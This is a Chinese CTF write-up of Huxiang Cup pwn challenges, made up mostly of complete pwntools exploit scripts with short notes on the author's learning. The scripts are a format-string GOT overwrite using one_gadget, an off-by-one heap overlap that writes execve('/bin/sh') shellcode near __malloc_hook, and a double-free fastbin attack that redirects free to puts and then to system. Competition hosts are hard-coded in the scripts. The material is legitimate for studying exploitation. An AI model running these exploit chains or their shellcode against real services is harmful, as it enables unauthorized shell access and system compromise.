练习赛
一共两个pwn,第一个没啥说的,第二个是个格式化,但是由于格式化之前把握不深导致菜的一批,很感谢ditto师傅能够指点一波,看了师傅的博客,受益匪浅。
第一个尴尬点:
我在泄露的时候泄露出了一个(nil)的神奇东西,本来觉得可能是那些限制了,泄露不出来更多了,但是也没看到程序里面啥限制啊,最后知道了这个原来是null,%p是用来泄露指针的,它返回的地址如果是0x0000这样的,就会返回一个nil给你。
第二个尬点:我想着程序也没后门,格式化任意写到底该怎么写呢?也没给libc,自然也没想到one_gadget这个神奇的东西,还是师傅强,通过泄露地址知道这个是ubuntu 1604的,然后直接整个libc出来,然后就有one_gadget了。
第三个,这个如果是我的话,我可能最后会直接劫持printf_got,但是师傅tql,劫持的是printf的返回地址ret,然后劫持到了main函数,同时也劫持了setvbuf函数的got表
然后最后一个就是:我发现用ubuntu 1604本机的libc可以打通,但是用之前编译好的libc2.23打不通,后来问了大师傅才知道,自己编译的跟本地的还是差很多的,gcc版本,环境等都不太一样。
exp:
#coding=utf-8
from pwn import *
exec_binary = "./5c149c66064fa"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
r = process(exec_binary)
if context.arch == "i386":
libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
elif context.arch == "amd64":
libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
r = remote("183.129.189.60",10043)
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def debug():
text_base,libc_base = get_base(r)
break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
break_point+='''
b *00000000004006DA
'''
gdb.attach(r)
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
offset = 8
libc = ELF('./libc.so.6')
r.sendline("%6$p%43$p")
stack_addr = int(r.recv(14),16)
confirm(stack_addr)
libc_base = int(r.recv(14),16)-240-libc.symbols['__libc_start_main']
confirm(libc_base)
setvbuf_got = elf.got['setvbuf']
system_addr = libc_base + 0x4526a
payload="%" + str(system_addr&0xffff)+'c'+"%10$hn"
payload=payload.ljust(16,'a')
payload+=p64(setvbuf_got)
#debug()
r.sendline(payload)
payload="%"+str((system_addr>>16)&0xffff)+'c'+"%10$hn"
payload=payload.ljust(16,'a')
payload+=p64(setvbuf_got+2)
#debug()
r.sendline(payload)
ret_addr = stack_addr - 0x210
confirm(ret_addr)
main_addr = 0x0000000000400636
payload = "%" + str(main_addr&0xffff) + 'c'+"%10$hn"
payload=payload.ljust(16,'a')
payload+=p64(ret_addr)
r.sendline(payload)
r.interactive()
复赛
Hackone
首先就是一个off-by-one的漏洞:
如果刚好输入满堆块的内容,这里的strlen就会把下一个堆块的size位也算进来(strlen是遇到’\0’终止,最终长度不包含’\0’),那么两次edit就会造成off-by-one漏洞
我们可以溢出一个字节来修改下一个堆块的size位,从而可以overloping,
#coding=utf-8
from pwn import *
exec_binary = "./HackNote"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
r = process(exec_binary)
if context.arch == "i386":
libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
elif context.arch == "amd64":
libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
r = remote("")
def get_base(r):
text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
for key in r.libs():
if "libc.so.6" in key:
return text_base,r.libs()[key]
def debug(addr):
text_base,libc_base = get_base(r)
break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
break_point+="b *" + str(addr) + "\nc"
gdb.attach(r,break_point)
def confirm(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def add(size,content):
r.sendlineafter('-----------------\n','1')
r.sendlineafter('nput the Size:\n',str(size))
r.sendafter('he Note:\n',content)
def free(idx):
r.sendlineafter('-----------------\n','2')
r.sendlineafter('the Index of Note:\n',str(idx))
def edit(idx,content):
r.sendlineafter('-----------------\n','3')
r.sendlineafter('Note\n',str(idx))
r.sendafter('Input the Note:\n',content)
__malloc_hook = 0x0000000006CB788
fake_chunk_addr = 0x6cb772
add(0x38,'aa\n') #0
add(0x38,'aa\n') #1
add(0x38,'aa\n') #2
add(0x38,'aa\n') #3
add(0x38,'aa\n') #4
edit(0,'a'*0x38)
edit(0,'a'*0x38 + '\x81')
free(1)
add(0x71,'aa\n') #1
fake_chunk = [
'a'*0x38,0x41,
fake_chunk_addr,
]
#gdb.attach(r)
#print flat(fake_chunk)
free(2)
edit(1,flat(fake_chunk)+'\n')
#gdb.attach(r)
add(0x38,'aa\n') #2
payload = 'a' * 6 + p64(__malloc_hook+8)
payload+='\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05'
add(0x38,payload+'\n') #5
r.sendlineafter('-----------------\n','1')
r.sendlineafter("Input the Size:\n",str(10))
#add(0x38,'aa\n') #6
r.interactive()
NameSystem
还有一个,这个的漏洞是在于
可以形成double free,比如delete两次18实际上也delete一次19,然后再次delete就可能形成double free,那么就能形成一个指定地址写的操作,再次鸣谢ditto大佬,本来湖湘杯的时候都没看第二题,赛后ditto师傅给了个exp,后来想想还是学习学习,哈哈。
#coding=utf-8
from pwn import *
local = 1
exec_file="./NameSystem"
context.binary=exec_file
context.terminal=["tmux","splitw","-h"]
elf=ELF(exec_file,checksec = False)
if local :
a=process(exec_file)
if context.arch == "i386" :
libc=ELF("/lib/i386-linux-gnu/libc.so.6",checksec = False)
elif context.arch == "amd64" :
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec = False)
else:
a=remote("183.129.189.62",16605)
def get_base(a):
text_base = a.libs()[a._cwd+a.argv[0].strip('.')]
for key in a.libs():
if "libc.so.6" in key:
return text_base,a.libs()[key]
def debug():
text_base,libc_base=get_base(a)
script="set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
script+='''
b *0x000000000400A56
b *0x0000000000400B74
'''
gdb.attach(a,script)
def fuck(address):
n = globals()
for key,value in n.items():
if value == address:
return success(key+" ==> "+hex(address))
def menu(idx):
a.sendlineafter("Your choice :\n",str(idx))
def add(size,content):
menu(1)
a.sendlineafter("Name Size:",str(size))
a.sendafter("Name:",content)
def delete(idx):
menu(3)
a.sendlineafter("The id you want to delete:",str(idx))
ptr_addr = 0x6020A0
ptr_end = 0x602138
fake_chunk_addr = 0x601ffa
for i in range(15):
add(0x28,'A\n')
add(0x38,'\n')#15
add(0x58,'\n')#16 0x603310
add(0x58,'\n')#17 0x0000000000603390
add(0x58,'\n')#18 0x0000000000603400
add(0x58,'\n')#19 0x0000000000603470
delete(0)
delete(19)
delete(17)
delete(17)
add(0x38,'\n')
add(0x38,'\n')
add(0x38,'\n')
delete(0)
delete(19)
delete(17)
delete(17)
add(0x60,'\n')
add(0x60,'\n')
add(0x60,'\n')
delete(0)
#delete(0)
delete(19) #这里是为了第三次double free
for i in range(9):
delete(0)
delete(12-4)
delete(12-4)
add(0x58,p64(fake_chunk_addr)+'\n') #把free劫持为puts
add(0x58,'\n')
add(0x58,'\n')
add(0x58,'A'*6+p64(0x41)+p64(elf.plt["puts"])[:6]+'\n')
fake_chunk_addr = 0x60208d #在标准输出流上写一个指针指向puts对应的got表得到puts的真实地址。
add(0x60,p64(fake_chunk_addr)+'\n')
add(0x60,'\n')
add(0x60,'\n')
add(0x60,'A'*3+p64(0x602020)[:6]+'\n')
delete(0)
libc_base=u64(a.recvuntil("\n",drop=True)+'\x00\x00')-libc.symbols["puts"]
fuck(libc_base)
fake_chunk_addr = 0x000000000602008
add(0x38,p64(fake_chunk_addr)+'\n') #把free改成system
add(0x38,'\n')
add(0x38,'/bin/sh\n')
add(0x38,p64(libc_base+libc.symbols["system"])[:6]+'\n')
delete(17)
a.interactive()
最后说一下,这次湖湘杯真是力不从心,打的菜的一批,继续加油吧。